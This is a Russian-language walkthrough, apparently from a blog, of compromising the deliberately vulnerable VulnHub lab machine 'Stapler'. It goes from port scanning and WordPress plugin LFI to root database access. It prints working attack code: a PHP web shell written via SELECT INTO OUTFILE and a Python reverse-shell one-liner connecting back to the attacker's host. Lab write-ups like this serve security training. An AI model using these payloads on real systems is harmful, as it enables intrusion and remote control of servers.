Очередная машины для взлома от VulnHub.Stapler


Сегодня у нас машина под название Stapler, достаточно старенькая 2016 год . Автор пишет что она легкая или сложна ))) Все зависит от ваших навыков. Требуется получить root доступ, все достаточно стандартно. Поехали… —[[Enjoy. Have fun. Happy Hacking.]]—


Разведка…


 #Определяем IP машины.
arp-scan -l
#Сканируем открытые порты.
nmap 192.168.56.106 -p- -sV

Тут у нас просто целый зоопарк разных служб : FTP , Samba, MySQL , Web-Server, BIND



# Я бы детальней глянул на все это
nmap 192.168.56.106 -p- -sV -A

Тут у нас повеселей уже, FTP можно зайти как анонимный пользователь anonymous и паролем: anonymous . Заглянув ничего интересного не нашлось, если только имена для брута пригодятся.


ftp 192.168.56.106
ftp > ls
ftp > get note


Следующий в очередь, Samba 139 порт ) Давайте зайдем посмотрим, может там есть общие ресурсы и т.д. Воспользуемся smbclient :


smbclient -L 192.168.56.106
-L флаг host


У нас есть два доступных ресурса : kathy и tmp . К стати интересный комментарий, можно попробовать подключиться к kathy как пользователь Fred


smbclient //fred/kathy -I 192.168.56.106 -N
-I IP
-N без пароля
smbclient //fred/tmp -I 192.168.56.106 -N


Ничего интересного не нашли


Web-сервер…


Открываем в браузере 192.168.56.106:12380




Тут ничего интересного, ну если только порадовал комментарий в исходном коде страницы. Двигаем дальше, запускаем Nikto .



Ну вот уже что то, есть /admin112233 , /blogblog. Так же стоит phpMyAdmin и есть ssl. сходим сначала на https://192.168.56.106:12380/admin112233/ уж больно привлекательное название.



Тут нас подловили на Java, вот так. Надо бы отключать ( Пойдем дальше /blogblog :




Тут у нас блог на WordPress, запускаем WPScan.


wpscan --url https://192.168.56.106:12380/blogblog/ --enumerate ap --plugins-detection aggressive --disable-tls-checks
--enumerate ap # перечислить все плагины

Так как версия старая , тут у нас просто поляна всего. Но я больше заинтересовался плагинами, а если конкретней : advanced-video-embed-embed-videos-or-playlists



На моем любимом сайте exploit мы нашли программку на питоне которая выводит настройки wp-config.php .По сути этот плагин уязвим к LFI и мы можем вывести любо файл какой нам нужен. Качаем питон скрип, редактируем и запускаем.




LFI (англ. Local File Include) – означает некую возможность, позволяющую выполнять локальные файлы на стороне сервера. Данная уязвимость позволит для удаленного пользователя посредством специально подготовленного запроса получить свободный доступ практически к любым файлам сервера.




Пришлось конечно немного повозиться . Во первых urllib2 библиотека для Python 2.7, во вторых нам нужно добавить поддержку SSL :


import ssl
ssl._create_default_https_context = ssl._create_unverified_context

За то у нас есть данные DB и похоже что это root учетка. Проверим, вы же помните что у нас открыт порт MySQL.


mysql -u root -p -h 192.168.56.106



Web-Shell, SQL- Injection…


Так как у нас root доступ к DB возникла идея загрузить в /upload веб-шелл с помощью SQL-Injection , идея взята из статьи Gaining Reverse Shell from SQL injection


mysql> Select "<?php echo shell_exec($_GET['cmd']);?>
" into outfile "/var/www/https/blogblog/wp-content/uploads/shell.php";
# В MySQL можно использовать предложение SELECT ... INTO OUTFILE для
# вывода результатов запроса непосредственно в файл на хосте сервера.
# mysql> SELECT * FROM passwd INTO OUTFILE '/tmp/passwd.txt';


https://192.168.56.106:12380/blogblog/wp-content/uploads/shell.php?cmd=ls -la

total 16 drwxrwxrwx 2 www-data www-data 4096 May 26 17:27 . drwxr-xr-x 5 root root 4096 Jun 4 2016 .. -rw-r--r-- 1 www-data www-data 3042 May 26 11:13 1724872606.jpeg -rw-rw-rw- 1 mysql mysql 39 May 26 17:27 shell.php

Запускаем теперь netcat на порту 444( nc -lvp 444 ) , а на жертве запускаем revers-shell на питоне, мне просто нравиться питон : https://192.168.56.106:12380/blogblog/wp-content/uploads/shell.php?cmd=python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((«192.168.56.103»,444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([«/bin/sh»,»-i»]);’


# Что бы было понятно запишем в более понятном виде:
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.56.103",444)) # Ваш IP и ПОРТ
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);

.bash_history


Вот у нас нормальный шелл под пользователем www-data, сайт в наших руках. Но это далеко не root ,а стандартный пользователь Apache. Ну продолжим разведку, посмотрим версию ядра, заглянем в .bash_history . .bash_history это файл который запоминает последние команды пользователей в linux. Тут к стати нам ну просто волшебно повезло :



Смело стучимся в SSH : ssh -l peter 192.168.56.104 , и проверяем доступно ли sudo : sudo -l




На этом наше увлекательный квест закончен. Спасибо…


Добавить комментарий

Автору будет очень приятно получить обратную связь.

Комментариев 0